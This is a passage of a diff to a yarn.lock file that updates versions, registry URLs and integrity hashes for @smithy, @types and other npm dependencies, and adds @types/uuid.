-  integrity sha512-vqfSiHz2v8b3TTTrdXi03vNz1KLYYS3bhHCDv36FYDqxT7jvTll1mMnCrkD+gOvgwybuunh/2VmvOMqwBegxEg==
+"@smithy/node-http-handler@^4.1.1":
+  version "4.1.1"
+  resolved "https://registry.yarnpkg.com/@smithy/node-http-handler/-/node-http-handler-4.1.1.tgz#dd806d9e08b6e73125040dd0808ab56d16a178e9"
+  integrity sha512-RHnlHqFpoVdjSPPiYy/t40Zovf3BBHc2oemgD7VsVTFFZrU5erFFe0n52OANZZ/5sbshgD93sOh5r6I35Xmpaw==
   dependencies:
-    "@smithy/abort-controller" "^4.0.4"
-    "@smithy/protocol-http" "^5.1.2"
-    "@smithy/querystring-builder" "^4.0.4"
-    "@smithy/types" "^4.3.1"
+    "@smithy/abort-controller" "^4.0.5"
+    "@smithy/protocol-http" "^5.1.3"
+    "@smithy/querystring-builder" "^4.0.5"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@smithy/property-provider@^4.0.4":
-  version "4.0.4"
-  resolved "https://registry.yarnpkg.com/@smithy/property-provider/-/property-provider-4.0.4.tgz#303a8fd99665fff61eeb6ec3922eee53838962c5"
-  integrity sha512-qHJ2sSgu4FqF4U/5UUp4DhXNmdTrgmoAai6oQiM+c5RZ/sbDwJ12qxB1M6FnP+Tn/ggkPZf9ccn4jqKSINaquw==
+"@smithy/property-provider@^4.0.5":
+  version "4.0.5"
+  resolved "https://registry.yarnpkg.com/@smithy/property-provider/-/property-provider-4.0.5.tgz#d3b368b31d5b130f4c30cc0c91f9ebb28d9685fc"
+  integrity sha512-R/bswf59T/n9ZgfgUICAZoWYKBHcsVDurAGX88zsiUtOTA/xUAPyiT+qkNCPwFn43pZqN84M4MiUsbSGQmgFIQ==
   dependencies:
-    "@smithy/types" "^4.3.1"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@smithy/protocol-http@^5.1.2":
-  version "5.1.2"
-  resolved "https://registry.yarnpkg.com/@smithy/protocol-http/-/protocol-http-5.1.2.tgz#8094860c2407f250b80c95899e0385112d6eb98b"
-  integrity sha512-rOG5cNLBXovxIrICSBm95dLqzfvxjEmuZx4KK3hWwPFHGdW3lxY0fZNXfv2zebfRO7sJZ5pKJYHScsqopeIWtQ==
+"@smithy/protocol-http@^5.1.3":
+  version "5.1.3"
+  resolved "https://registry.yarnpkg.com/@smithy/protocol-http/-/protocol-http-5.1.3.tgz#86855b528c0e4cb9fa6fb4ed6ba3cdf5960f88f4"
+  integrity sha512-fCJd2ZR7D22XhDY0l+92pUag/7je2BztPRQ01gU5bMChcyI0rlly7QFibnYHzcxDvccMjlpM/Q1ev8ceRIb48w==
   dependencies:
-    "@smithy/types" "^4.3.1"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@smithy/querystring-builder@^4.0.4":
-  version "4.0.4"
-  resolved "https://registry.yarnpkg.com/@smithy/querystring-builder/-/querystring-builder-4.0.4.tgz#f7546efd59d457b3d2525a330c6137e5f907864c"
-  integrity sha512-SwREZcDnEYoh9tLNgMbpop+UTGq44Hl9tdj3rf+yeLcfH7+J8OXEBaMc2kDxtyRHu8BhSg9ADEx0gFHvpJgU8w==
+"@smithy/querystring-builder@^4.0.5":
+  version "4.0.5"
+  resolved "https://registry.yarnpkg.com/@smithy/querystring-builder/-/querystring-builder-4.0.5.tgz#158ae170f8ec2d8af6b84cdaf774205a7dfacf68"
+  integrity sha512-NJeSCU57piZ56c+/wY+AbAw6rxCCAOZLCIniRE7wqvndqxcKKDOXzwWjrY7wGKEISfhL9gBbAaWWgHsUGedk+A==
   dependencies:
-    "@smithy/types" "^4.3.1"
+    "@smithy/types" "^4.3.2"
     "@smithy/util-uri-escape" "^4.0.0"
     tslib "^2.6.2"
 
-"@smithy/querystring-parser@^4.0.4":
-  version "4.0.4"
-  resolved "https://registry.yarnpkg.com/@smithy/querystring-parser/-/querystring-parser-4.0.4.tgz#307ab95ee5f1a142ab46c2eddebeae68cb2f703d"
-  integrity sha512-6yZf53i/qB8gRHH/l2ZwUG5xgkPgQF15/KxH0DdXMDHjesA9MeZje/853ifkSY0x4m5S+dfDZ+c4x439PF0M2w==
+"@smithy/querystring-parser@^4.0.5":
+  version "4.0.5"
+  resolved "https://registry.yarnpkg.com/@smithy/querystring-parser/-/querystring-parser-4.0.5.tgz#95706e56aa769f09dc8922d1b19ffaa06946e252"
+  integrity sha512-6SV7md2CzNG/WUeTjVe6Dj8noH32r4MnUeFKZrnVYsQxpGSIcphAanQMayi8jJLZAWm6pdM9ZXvKCpWOsIGg0w==
   dependencies:
-    "@smithy/types" "^4.3.1"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@smithy/service-error-classification@^4.0.6":
-  version "4.0.6"
-  resolved "https://registry.yarnpkg.com/@smithy/service-error-classification/-/service-error-classification-4.0.6.tgz#5d4d3017f5b62258fbfc1067e14198e125a8286c"
-  integrity sha512-RRoTDL//7xi4tn5FrN2NzH17jbgmnKidUqd4KvquT0954/i6CXXkh1884jBiunq24g9cGtPBEXlU40W6EpNOOg==
+"@smithy/service-error-classification@^4.0.7":
+  version "4.0.7"
+  resolved "https://registry.yarnpkg.com/@smithy/service-error-classification/-/service-error-classification-4.0.7.tgz#24072198a8c110d29677762162a5096e29eb4862"
+  integrity sha512-XvRHOipqpwNhEjDf2L5gJowZEm5nsxC16pAZOeEcsygdjv9A2jdOh3YoDQvOXBGTsaJk6mNWtzWalOB9976Wlg==
   dependencies:
-    "@smithy/types" "^4.3.1"
+    "@smithy/types" "^4.3.2"
 
-"@smithy/shared-ini-file-loader@^4.0.4":
-  version "4.0.4"
-  resolved "https://registry.yarnpkg.com/@smithy/shared-ini-file-loader/-/shared-ini-file-loader-4.0.4.tgz#33c63468b95cfd5e7d642c8131d7acc034025e00"
-  integrity sha512-63X0260LoFBjrHifPDs+nM9tV0VMkOTl4JRMYNuKh/f5PauSjowTfvF3LogfkWdcPoxsA9UjqEOgjeYIbhb7Nw==
+"@smithy/shared-ini-file-loader@^4.0.5":
+  version "4.0.5"
+  resolved "https://registry.yarnpkg.com/@smithy/shared-ini-file-loader/-/shared-ini-file-loader-4.0.5.tgz#8d8a493276cd82a7229c755bef8d375256c5ebb9"
+  integrity sha512-YVVwehRDuehgoXdEL4r1tAAzdaDgaC9EQvhK0lEbfnbrd0bd5+CTQumbdPryX3J2shT7ZqQE+jPW4lmNBAB8JQ==
   dependencies:
-    "@smithy/types" "^4.3.1"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@smithy/signature-v4@^5.1.2":
-  version "5.1.2"
-  resolved "https://registry.yarnpkg.com/@smithy/signature-v4/-/signature-v4-5.1.2.tgz#5afd9d428bd26bb660bee8075b6e89fe93600c22"
-  integrity sha512-d3+U/VpX7a60seHziWnVZOHuEgJlclufjkS6zhXvxcJgkJq4UWdH5eOBLzHRMx6gXjsdT9h6lfpmLzbrdupHgQ==
+"@smithy/signature-v4@^5.1.3":
+  version "5.1.3"
+  resolved "https://registry.yarnpkg.com/@smithy/signature-v4/-/signature-v4-5.1.3.tgz#92a4f6e9ce66730eeb0d996cd0478c5cbaf5b3f5"
+  integrity sha512-mARDSXSEgllNzMw6N+mC+r1AQlEBO3meEAkR/UlfAgnMzJUB3goRBWgip1EAMG99wh36MDqzo86SfIX5Y+VEaw==
   dependencies:
     "@smithy/is-array-buffer" "^4.0.0"
-    "@smithy/protocol-http" "^5.1.2"
-    "@smithy/types" "^4.3.1"
+    "@smithy/protocol-http" "^5.1.3"
+    "@smithy/types" "^4.3.2"
     "@smithy/util-hex-encoding" "^4.0.0"
-    "@smithy/util-middleware" "^4.0.4"
+    "@smithy/util-middleware" "^4.0.5"
     "@smithy/util-uri-escape" "^4.0.0"
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@smithy/smithy-client@^4.4.7", "@smithy/smithy-client@^4.4.8":
-  version "4.4.8"
-  resolved "https://registry.yarnpkg.com/@smithy/smithy-client/-/smithy-client-4.4.8.tgz#91b562a4f60db92c2533a720a091e98557117ab6"
-  integrity sha512-pcW691/lx7V54gE+dDGC26nxz8nrvnvRSCJaIYD6XLPpOInEZeKdV/SpSux+wqeQ4Ine7LJQu8uxMvobTIBK0w==
+"@smithy/smithy-client@^4.4.10":
+  version "4.4.10"
+  resolved "https://registry.yarnpkg.com/@smithy/smithy-client/-/smithy-client-4.4.10.tgz#c4b49c1d1ff9eb813f88f1e425a5dfac25a03180"
+  integrity sha512-iW6HjXqN0oPtRS0NK/zzZ4zZeGESIFcxj2FkWed3mcK8jdSdHzvnCKXSjvewESKAgGKAbJRA+OsaqKhkdYRbQQ==
   dependencies:
-    "@smithy/core" "^3.7.1"
-    "@smithy/middleware-endpoint" "^4.1.16"
-    "@smithy/middleware-stack" "^4.0.4"
-    "@smithy/protocol-http" "^5.1.2"
-    "@smithy/types" "^4.3.1"
-    "@smithy/util-stream" "^4.2.3"
+    "@smithy/core" "^3.8.0"
+    "@smithy/middleware-endpoint" "^4.1.18"
+    "@smithy/middleware-stack" "^4.0.5"
+    "@smithy/protocol-http" "^5.1.3"
+    "@smithy/types" "^4.3.2"
+    "@smithy/util-stream" "^4.2.4"
     tslib "^2.6.2"
 
-"@smithy/types@^4.3.1":
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/@smithy/types/-/types-4.3.1.tgz#c11276ea16235d798f47a68aef9f44d3dbb70dd4"
-  integrity sha512-UqKOQBL2x6+HWl3P+3QqFD4ncKq0I8Nuz9QItGv5WuKuMHuuwlhvqcZCoXGfc+P1QmfJE7VieykoYYmrOoFJxA==
+"@smithy/types@^4.3.2":
+  version "4.3.2"
+  resolved "https://registry.yarnpkg.com/@smithy/types/-/types-4.3.2.tgz#66ac513e7057637de262e41ac15f70cf464c018a"
+  integrity sha512-QO4zghLxiQ5W9UZmX2Lo0nta2PuE1sSrXUYDoaB6HMR762C0P7v/HEPHf6ZdglTVssJG1bsrSBxdc3quvDSihw==
   dependencies:
     tslib "^2.6.2"
 
-"@smithy/url-parser@^4.0.4":
-  version "4.0.4"
-  resolved "https://registry.yarnpkg.com/@smithy/url-parser/-/url-parser-4.0.4.tgz#049143f4c156356e177bd69242675db26fe4f4db"
-  integrity sha512-eMkc144MuN7B0TDA4U2fKs+BqczVbk3W+qIvcoCY6D1JY3hnAdCuhCZODC+GAeaxj0p6Jroz4+XMUn3PCxQQeQ==
+"@smithy/url-parser@^4.0.5":
+  version "4.0.5"
+  resolved "https://registry.yarnpkg.com/@smithy/url-parser/-/url-parser-4.0.5.tgz#1824a9c108b85322c5a31f345f608d47d06f073a"
+  integrity sha512-j+733Um7f1/DXjYhCbvNXABV53NyCRRA54C7bNEIxNPs0YjfRxeMKjjgm2jvTYrciZyCjsicHwQ6Q0ylo+NAUw==
   dependencies:
-    "@smithy/querystring-parser" "^4.0.4"
-    "@smithy/types" "^4.3.1"
+    "@smithy/querystring-parser" "^4.0.5"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
 "@smithy/util-base64@^4.0.0":
@@ -1522,37 +1525,37 @@
   dependencies:
     tslib "^2.6.2"
 
-"@smithy/util-defaults-mode-browser@^4.0.23":
-  version "4.0.24"
-  resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-browser/-/util-defaults-mode-browser-4.0.24.tgz#36e2ebd191cffa4799c2474d1d4e793264067fa9"
-  integrity sha512-UkQNgaQ+bidw1MgdgPO1z1k95W/v8Ej/5o/T/Is8PiVUYPspl/ZxV6WO/8DrzZQu5ULnmpB9CDdMSRwgRc21AA==
+"@smithy/util-defaults-mode-browser@^4.0.26":
+  version "4.0.26"
+  resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-browser/-/util-defaults-mode-browser-4.0.26.tgz#fc04cd466bbb0d80e41930af8d6a8c33c48490f2"
+  integrity sha512-xgl75aHIS/3rrGp7iTxQAOELYeyiwBu+eEgAk4xfKwJJ0L8VUjhO2shsDpeil54BOFsqmk5xfdesiewbUY5tKQ==
   dependencies:
-    "@smithy/property-provider" "^4.0.4"
-    "@smithy/smithy-client" "^4.4.8"
-    "@smithy/types" "^4.3.1"
+    "@smithy/property-provider" "^4.0.5"
+    "@smithy/smithy-client" "^4.4.10"
+    "@smithy/types" "^4.3.2"
     bowser "^2.11.0"
     tslib "^2.6.2"
 
-"@smithy/util-defaults-mode-node@^4.0.23":
-  version "4.0.24"
-  resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-4.0.24.tgz#3b9382bbffcc5c211e582ea6164c630ad994816f"
-  integrity sha512-phvGi/15Z4MpuQibTLOYIumvLdXb+XIJu8TA55voGgboln85jytA3wiD7CkUE8SNcWqkkb+uptZKPiuFouX/7g==
+"@smithy/util-defaults-mode-node@^4.0.26":
+  version "4.0.26"
+  resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-4.0.26.tgz#adfee8c54301ec4cbabed58cd604995a81b4a8dc"
+  integrity sha512-z81yyIkGiLLYVDetKTUeCZQ8x20EEzvQjrqJtb/mXnevLq2+w3XCEWTJ2pMp401b6BkEkHVfXb/cROBpVauLMQ==
   dependencies:
-    "@smithy/config-resolver" "^4.1.4"
-    "@smithy/credential-provider-imds" "^4.0.6"
-    "@smithy/node-config-provider" "^4.1.3"
-    "@smithy/property-provider" "^4.0.4"
-    "@smithy/smithy-client" "^4.4.8"
-    "@smithy/types" "^4.3.1"
+    "@smithy/config-resolver" "^4.1.5"
+    "@smithy/credential-provider-imds" "^4.0.7"
+    "@smithy/node-config-provider" "^4.1.4"
+    "@smithy/property-provider" "^4.0.5"
+    "@smithy/smithy-client" "^4.4.10"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@smithy/util-endpoints@^3.0.6":
-  version "3.0.6"
-  resolved "https://registry.yarnpkg.com/@smithy/util-endpoints/-/util-endpoints-3.0.6.tgz#a24b0801a1b94c0de26ad83da206b9add68117f2"
-  integrity sha512-YARl3tFL3WgPuLzljRUnrS2ngLiUtkwhQtj8PAL13XZSyUiNLQxwG3fBBq3QXFqGFUXepIN73pINp3y8c2nBmA==
+"@smithy/util-endpoints@^3.0.7":
+  version "3.0.7"
+  resolved "https://registry.yarnpkg.com/@smithy/util-endpoints/-/util-endpoints-3.0.7.tgz#9d52f2e7e7a1ea4814ae284270a5f1d3930b3773"
+  integrity sha512-klGBP+RpBp6V5JbrY2C/VKnHXn3d5V2YrifZbmMY8os7M6m8wdYFoO6w/fe5VkP+YVwrEktW3IWYaSQVNZJ8oQ==
   dependencies:
-    "@smithy/node-config-provider" "^4.1.3"
-    "@smithy/types" "^4.3.1"
+    "@smithy/node-config-provider" "^4.1.4"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
 "@smithy/util-hex-encoding@^4.0.0":
@@ -1562,31 +1565,31 @@
   dependencies:
     tslib "^2.6.2"
 
-"@smithy/util-middleware@^4.0.4":
-  version "4.0.4"
-  resolved "https://registry.yarnpkg.com/@smithy/util-middleware/-/util-middleware-4.0.4.tgz#8f639de049082c687841ea5e69c6c36e12e31a3c"
-  integrity sha512-9MLKmkBmf4PRb0ONJikCbCwORACcil6gUWojwARCClT7RmLzF04hUR4WdRprIXal7XVyrddadYNfp2eF3nrvtQ==
+"@smithy/util-middleware@^4.0.5":
+  version "4.0.5"
+  resolved "https://registry.yarnpkg.com/@smithy/util-middleware/-/util-middleware-4.0.5.tgz#405caf2a66e175ce8ca6c747fa1245b3f5386879"
+  integrity sha512-N40PfqsZHRSsByGB81HhSo+uvMxEHT+9e255S53pfBw/wI6WKDI7Jw9oyu5tJTLwZzV5DsMha3ji8jk9dsHmQQ==
   dependencies:
-    "@smithy/types" "^4.3.1"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@smithy/util-retry@^4.0.6":
-  version "4.0.6"
-  resolved "https://registry.yarnpkg.com/@smithy/util-retry/-/util-retry-4.0.6.tgz#f931fdd1f01786b21a82711e185c58410e8e41c7"
-  integrity sha512-+YekoF2CaSMv6zKrA6iI/N9yva3Gzn4L6n35Luydweu5MMPYpiGZlWqehPHDHyNbnyaYlz/WJyYAZnC+loBDZg==
+"@smithy/util-retry@^4.0.7":
+  version "4.0.7"
+  resolved "https://registry.yarnpkg.com/@smithy/util-retry/-/util-retry-4.0.7.tgz#3169450193e917da170a87557fcbdfe0faa86779"
+  integrity sha512-TTO6rt0ppK70alZpkjwy+3nQlTiqNfoXja+qwuAchIEAIoSZW8Qyd76dvBv3I5bCpE38APafG23Y/u270NspiQ==
   dependencies:
-    "@smithy/service-error-classification" "^4.0.6"
-    "@smithy/types" "^4.3.1"
+    "@smithy/service-error-classification" "^4.0.7"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@smithy/util-stream@^4.2.3":
-  version "4.2.3"
-  resolved "https://registry.yarnpkg.com/@smithy/util-stream/-/util-stream-4.2.3.tgz#7980fb94dbee96301b0b2610de8ae1700c7daab1"
-  integrity sha512-cQn412DWHHFNKrQfbHY8vSFI3nTROY1aIKji9N0tpp8gUABRilr7wdf8fqBbSlXresobM+tQFNk6I+0LXK/YZg==
+"@smithy/util-stream@^4.2.4":
+  version "4.2.4"
+  resolved "https://registry.yarnpkg.com/@smithy/util-stream/-/util-stream-4.2.4.tgz#fa9f0e2fd5a8a5adbd013066b475ea8f9d4f900f"
+  integrity sha512-vSKnvNZX2BXzl0U2RgCLOwWaAP9x/ddd/XobPK02pCbzRm5s55M53uwb1rl/Ts7RXZvdJZerPkA+en2FDghLuQ==
   dependencies:
-    "@smithy/fetch-http-handler" "^5.1.0"
-    "@smithy/node-http-handler" "^4.1.0"
-    "@smithy/types" "^4.3.1"
+    "@smithy/fetch-http-handler" "^5.1.1"
+    "@smithy/node-http-handler" "^4.1.1"
+    "@smithy/types" "^4.3.2"
     "@smithy/util-base64" "^4.0.0"
     "@smithy/util-buffer-from" "^4.0.0"
     "@smithy/util-hex-encoding" "^4.0.0"
@@ -1712,11 +1715,11 @@
   integrity sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==
 
 "@types/node@*", "@types/node@>=13.7.0":
-  version "24.1.0"
-  resolved "https://registry.yarnpkg.com/@types/node/-/node-24.1.0.tgz#0993f7dc31ab5cc402d112315b463e383d68a49c"
-  integrity sha512-ut5FthK5moxFKH2T1CUOC6ctR67rQRvvHdFLCD2Ql6KXmMuCrjsSsRI9UsLCm9M18BMwClv4pn327UvB7eeO1w==
+  version "24.3.0"
+  resolved "https://registry.yarnpkg.com/@types/node/-/node-24.3.0.tgz#89b09f45cb9a8ee69466f18ee5864e4c3eb84dec"
+  integrity sha512-aPTXCrfwnDLj4VvXrm+UUCQjNEvJgNA8s5F1cvwQU+3KNltTOkBm1j30uNLyqqPNe7gE3KFzImYoZEfLhp4Yow==
   dependencies:
-    undici-types "~7.8.0"
+    undici-types "~7.10.0"
 
 "@types/node@^14.14.14":
   version "14.18.63"
@@ -1724,9 +1727,9 @@
   integrity sha512-fAtCfv4jJg+ExtXhvCkCqUKZ+4ok/JQk01qDKhL5BDDoS3AxKXhV5/MAVUZyQnSEd2GT92fkgZl0pz0Q0AzcIQ==
 
 "@types/node@^22.0.1", "@types/node@^22.5.4":
-  version "22.16.5"
-  resolved "https://registry.yarnpkg.com/@types/node/-/node-22.16.5.tgz#cc46ac3994cd957000d0c11095a0b1dae2ea2368"
-  integrity sha512-bJFoMATwIGaxxx8VJPeM8TonI8t579oRvgAuT8zFugJsJZgzqv0Fu8Mhp68iecjzG7cnN3mO2dJQ5uUM2EFrgQ==
+  version "22.18.0"
+  resolved "https://registry.yarnpkg.com/@types/node/-/node-22.18.0.tgz#9e4709be4f104e3568f7dd1c71e2949bf147a47b"
+  integrity sha512-m5ObIqwsUp6BZzyiy4RdZpzWGub9bqLJMvZDD0QMXhxjqMHMENlj+SqF5QxoUwaQNFe+8kz8XM8ZQhqkQPTgMQ==
   dependencies:
     undici-types "~6.21.0"
 
@@ -1741,14 +1744,14 @@
   integrity sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==
 
 "@types/request@^2.48.8":
-  version "2.48.12"
-  resolved "https://registry.yarnpkg.com/@types/request/-/request-2.48.12.tgz#0f590f615a10f87da18e9790ac94c29ec4c5ef30"
-  integrity sha512-G3sY+NpsA9jnwm0ixhAFQSJ3Q9JkpLZpJbI3GMv0mIAT0y3mRabYeINzal5WOChIiaTEGQYlHOKgkaM9EisWHw==
+  version "2.48.13"
+  resolved "https://registry.yarnpkg.com/@types/request/-/request-2.48.13.tgz#abdf4256524e801ea8fdda54320f083edb5a6b80"
+  integrity sha512-FGJ6udDNUCjd19pp0Q3iTiDkwhYup7J8hpMW9c4k53NrccQFFWKRho6hvtPPEhnXWKvukfwAlB6DbDz4yhH5Gg==
   dependencies:
     "@types/caseless" "*"
     "@types/node" "*"
     "@types/tough-cookie" "*"
-    form-data "^2.5.0"
+    form-data "^2.5.5"
 
 "@types/send@*":
   version "0.17.5"
@@ -1777,6 +1780,11 @@
   resolved "https://registry.yarnpkg.com/@types/triple-beam/-/triple-beam-1.3.5.tgz#74fef9ffbaa198eb8b588be029f38b00299caa2c"
   integrity sha512-6WaYesThRMCl19iryMYP7/x2OVgCtbIVflDGFpWnb9irXI3UjYE4AzmYuiUKY1AJstGijoY+MgUszMgRxIYTYw==
 
+"@types/uuid@^9.0.1":
+  version "9.0.8"
+  resolved "https://registry.yarnpkg.com/@types/uuid/-/uuid-9.0.8.tgz#7545ba4fc3c003d6c756f651f3bf163d8f0f29ba"
+  integrity sha512-jg+97EGIcY9AGHJJRaaPVgetKDsrTgbRjQ5Msgjh/DQKEFl0DtyRr/VCOyD1T2R1MNeWPK/u7JoGhlDZnKBAfA==
+
 "@types/webidl-conversions@*":
   version "7.0.3"
   resolved "https://registry.yarnpkg.com/@types/webidl-conversions/-/webidl-conversions-7.0.3.tgz#1306dbfa53768bcbcfc95a1c8cde367975581859"
@@ -2184,9 +2192,9 @@ ansi-regex@^5.0.1:
   integrity sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==
 
 ansi-regex@^6.0.1:
-  version "6.1.0"
-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-6.1.0.tgz#95ec409c69619d6cb1b8b34f14b660ef28ebd654"
-  integrity sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==
+  version "6.2.0"
+  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-6.2.0.tgz#2f302e7550431b1b7762705fffb52cf1ffa20447"
+  integrity sha512-TKY5pyBkHyADOPYlRT9Lx6F544mPl0vS5Ew7BJ45hA08Q+t3GjbueLliBWN3sMICk6+y7HdyxSzC4bWS8baBdg==
 
 ansi-styles@^2.2.1:
   version "2.2.1"
@@ -2495,9 +2503,9 @@ balanced-match@^1.0.0:
   integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==
 
 bare-events@^2.2.0:
-  version "2.6.0"
-  resolved "https://registry.yarnpkg.com/bare-events/-/bare-events-2.6.0.tgz#11d9506da109e363a2f3af050fbb005ccdb3ee8f"
-  integrity sha512-EKZ5BTXYExaNqi3I3f9RtEsaI/xBSGjE0XZCZilPzFAV/goswFHuPd9jEZlPIZ/iNZJwDSao9qRiScySz7MbQg==
+  version "2.6.1"
+  resolved "https://registry.yarnpkg.com/bare-events/-/bare-events-2.6.1.tgz#f793b28bdc3dcf147d7cf01f882a6f0b12ccc4a2"
+  integrity sha512-AuTJkq9XmE6Vk0FJVNq5QxETrSA/vKHarWVBG5l/JbdCL1prJemiyJqUS0jrlXO0MftuPq4m3YVYhoNc5+aE/g==
 
 base-64@^0.1.0:
   version "0.1.0"
@@ -2628,9 +2636,9 @@ boom@0.4.x:
     hoek "0.9.x"
 
 bowser@^2.11.0:
-  version "2.11.0"
-  resolved "https://registry.yarnpkg.com/bowser/-/bowser-2.11.0.tgz#5ca3c35757a7aa5771500c70a73a9f91ef420a8f"
-  integrity sha512-AlcaJBi/pqqJBIQ8U9Mcpc9i8Aqxn88Skv5d+xBX006BY5u8N3mGLHa5Lgppa7L/HfwgwLgZ6NYs+Ag6uUmJRA==
+  version "2.12.1"
+  resolved "https://registry.yarnpkg.com/bowser/-/bowser-2.12.1.tgz#f9ad78d7aebc472feb63dd9635e3ce2337e0e2c1"
+  integrity sha512-z4rE2Gxh7tvshQ4hluIT7XcFrgLIQaw9X3A+kTTRdovCz5PMukm/0QC/BKSYPj3omF5Qfypn9O/c5kgpmvYUCw==
 
 brace-expansion@^1.1.7:
   version "1.1.12"
@@ -2660,12 +2668,12 @@ browser-or-node@^2.1.1:
   integrity sha512-8CVjaLJGuSKMVTxJ2DpBl5XnlNDiT4cQFeuCJJrvJmts9YrTZDizTX7PjC2s6W4x+MBGZeEY6dGMrF04/6Hgqg==
 
 browserslist@^4.24.0:
-  version "4.25.1"
-  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.25.1.tgz#ba9e8e6f298a1d86f829c9b975e07948967bb111"
-  integrity sha512-KGj0KoOMXLpSNkkEI6Z6mShmQy0bc1I+T7K9N81k4WWMrfz+6fQ6es80B/YLAeRoKvjYE1YSHHOW1qe9xIVzHw==
+  version "4.25.3"
+  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.25.3.tgz#9167c9cbb40473f15f75f85189290678b99b16c5"
+  integrity sha512-cDGv1kkDI4/0e5yON9yM5G/0A5u8sf5TnmdX5C9qHzI9PPu++sQ9zjm1k9NiOrf3riY4OkK0zSGqfvJyJsgCBQ==
   dependencies:
-    caniuse-lite "^1.0.30001726"
-    electron-to-chromium "^1.5.173"
+    caniuse-lite "^1.0.30001735"
+    electron-to-chromium "^1.5.204"
     node-releases "^2.0.19"
     update-browserslist-db "^1.1.3"
 
@@ -2825,10 +2833,10 @@ camelcase@^5.0.0:
   resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-5.3.1.tgz#e3c9b31569e106811df242f715725a1f4c494320"
   integrity sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==
 
-caniuse-lite@^1.0.30001726:
-  version "1.0.30001727"
-  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001727.tgz#22e9706422ad37aa50556af8c10e40e2d93a8b85"
-  integrity sha512-pB68nIHmbN6L/4C6MH1DokyR3bYqFwjaSs/sWDHGj4CTcFtQUQMuJftVwWkXq7mNWOybD3KhUv3oWHoGxgP14Q==
+caniuse-lite@^1.0.30001735:
+  version "1.0.30001737"
+  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001737.tgz#8292bb7591932ff09e9a765f12fdf5629a241ccc"
+  integrity sha512-BiloLiXtQNrY5UyF0+1nSJLXUENuhka2pzy2Fx5pGxqavdrxSCW4U6Pn/PoG3Efspi2frRbHpBV2XsrPE6EDlw==
 
 caseless@~0.12.0:
   version "0.12.0"
@@ -3142,9 +3150,9 @@ core-js@^2.4.0:
   integrity sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ==
 
 core-js@^3.30.2:
-  version "3.44.0"
-  resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.44.0.tgz#db4fd4fa07933c1d6898c8b112a1119a9336e959"
-  integrity sha512-aFCtd4l6GvAXwVEh3XbbVqJGHDJt0OZRa+5ePGx3LLwi12WfexqQxcsohb2wgsa/92xtl19Hd66G/L+TaAxDMw==
+  version "3.45.1"
+  resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.45.1.tgz#5810e04a1b4e9bc5ddaa4dd12e702ff67300634d"
+  integrity sha512-L4NPsJlCfZsPeXukyzHFlg/i7IIVwHSItR0wg0FLNqYClJ4MQYTYLbC7EkjKYRLZF2iof2MUgN0EGy7MdQFChg==
 
 core-util-is@1.0.2:
   version "1.0.2"
@@ -3309,9 +3317,9 @@ data-view-byte-offset@^1.0.1:
     is-data-view "^1.0.1"
 
 dayjs@^1.11.9:
-  version "1.11.13"
-  resolved "https://registry.yarnpkg.com/dayjs/-/dayjs-1.11.13.tgz#92430b0139055c3ebb60150aa13e860a4b5a366c"
-  integrity sha512-oaMBel6gjolK862uaPQOVTA7q3TZhuSvuMQAAglQDOWYO9A91IrAOUJEyKVlqJlHE0vq5p5UXxzdPfMH/x6xNg==
+  version "1.11.14"
+  resolved "https://registry.yarnpkg.com/dayjs/-/dayjs-1.11.14.tgz#aa47cd445471acac25d55deb101557dd827eff60"
+  integrity sha512-E8fIdSxUlyqSA8XYGnNa3IkIzxtEmFjI+JU/6ic0P1zmSqyL6HyG5jHnpPjRguDNiaHLpfvHKWFiohNsJLqcJQ==
 
 debug@2.6.9, debug@^2.2.0:
   version "2.6.9"
@@ -3441,10 +3449,10 @@ discord-api-types@^0.37.12, discord-api-types@^0.37.41:
